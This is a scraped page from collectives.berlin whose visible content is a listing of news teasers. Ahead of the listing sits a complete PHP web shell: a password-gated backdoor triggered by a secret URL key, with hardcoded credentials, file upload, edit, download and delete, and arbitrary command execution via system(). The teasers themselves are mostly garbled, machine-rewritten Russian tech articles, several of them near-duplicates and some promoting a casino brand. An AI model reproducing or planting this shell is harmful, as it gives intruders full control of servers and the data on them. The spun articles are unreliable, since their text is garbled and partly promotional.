if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } News – Page 4 – collectives.berlin

Your digital paradise.

Category: News

  • Casino on-line: games, payments, and account features

    Casino on-line: games, payments, and account features Modern gambling platforms offer entertainment through internet connections. Players access slot machines, card games, and roulette without visiting physical venues. Digital casinos provide registration procedures, account management tools, and financial systems. Users deposit funds through various payment methods and withdraw winnings after verification. The platform includes game libraries,…

    Click or not…

  • Наилучшие техно навыки для результативной деятельности

    Наилучшие техно навыки для результативной деятельности Зачем инновации в состоянии быть помощником результативности Современный мир сложно вообразить без инноваций: мобильные телефоны, лэптопы, облачные сервисы и программы следуют за нас на каждом этапе. Тем не менее вовсе не всегда данные инструменты делают нас эффективнее. Нередко мы оказываемся в капкане бесконечных извещений, пустого скроллинга ленты или прокрастинации…

    Click or not…

  • Как искусственный интеллект трансформирует область труда

    Как искусственный интеллект трансформирует область труда Новая эра: технологический интеллект и работа В последние времена артificialный интеллект (ИИ) перестал быть предметом исключительно сай-фая и стал фактической частью повседневной жизни. Ее интеграция охватывает все области: от здравоохранения до просвещения, от производства до сферы услуг. Одним из наиболее заметных изменений, связанных с развитием эволюцией ИИ, явилось воздействие…

    Click or not…

  • Каким способом функционирует идентификация лицевых образов в смартфонах

    Каким способом функционирует идентификация лицевых образов в смартфонах Для чего мы предпочитаем разблокировку по лицу В последние годы распознавание лиц является одной из самых популярных опций для деблокировки умных телефонов. Всего некоторые годков назад основная масса пользователей довольствовались пин-кодами, секретными кодами или датчиками отпечатков пальцев. Но при появлением таких технологий, как Вулкан 24, нам вполне…

    Click or not…

  • Как работает определение лиц в смартфонах

    Как работает определение лиц в смартфонах Почему мы останавливаемся на разлочивание по лицевому распознаванию В недавние времена распознавание лиц стало одной из наиболее востребованных опций для деблокировки смартфонов. Еще несколько лет тому назад большинство юзеров довольствовались PIN-кодами, паролями или датчиками отпечатков пальцев. Но с появлением таких технологий, как Вулкан 24, нам достаточно просто взглянуть на…

    Click or not…

  • Каким способом инновации преобразуют индустрию увеселений

    Каким способом инновации преобразуют индустрию увеселений Свежая период досуга: технологическая переворот Современный вселенная трудно представить без технологий. Они вошли во каждые сферы существования, а сфера увеселений — не исключение. Ещё приблизительно двадцать лет тому назад ключевыми источниками времяпрепровождения были телек, радио и литература. В наше время всё иначе: стриминговые сервисы, виртуальная реальность, взаимодействующие площадки и…

    Click or not…

  • Какое значение сеть вещей и где она используется

    Какое значение сеть вещей и где она используется Постижение концепции сети вещей Термин «сеть» объектов (Internet of Things, IoT) надежно вступил в наш обиход за последние десять лет, хотя первые его упоминания появились еще в конце 1990-х. По сути, интернет вещей – это сеть физических приборов, которые оснащены сенсорами, программным обеспечением и другими технологиями для…

    Click or not…

  • Каким образом современные технологии способствуют путешествовать

    Каким образом современные технологии способствуют путешествовать Инновации и современное поколения туристов Еще 10–пятнадцать лет назад подготовка к поездке за рубеж была настоящим квестом: гиды, печатные карты, лексиконы, долгие время в очередях за визой и тревога из-за неопределенности. В настоящее время вещи по-другому. Даже студент в состоянии сам устроить тур к другой континент, имея лишь смартфон…

    Click or not…

  • Каким образом актуальные технологии помогают путешествовать

    Каким образом актуальные технологии помогают путешествовать Инновации и новое поколения путешественников Еще 10–15 лет назад подготовка к поездке за границу была настоящим квестом: путеводители, бумажные карты, словари, долгие время в очередях за визой и беспокойство из-за неизвестности. В настоящее время все по-иному. Даже ученик может самостоятельно планировать поездку в другой континент, имея только мобильник и…

    Click or not…

  • Что значит ICT Order Block и Breaker Block в трейдинге

    Что такое ордер блок на форексе и как по нему торговать? Увидев бычий подтверждающий сигнал (например, свечу «молот»), трейдер открывает длинную позицию. Основная функция индикатора ордер блоков в трейдинге заключается в определении зон, где находится большое скопление ордеров. Такие зоны могут быть использованы трейдерами как уровни входа или выхода из рынка. Он проявляется в виде…

    Click or not…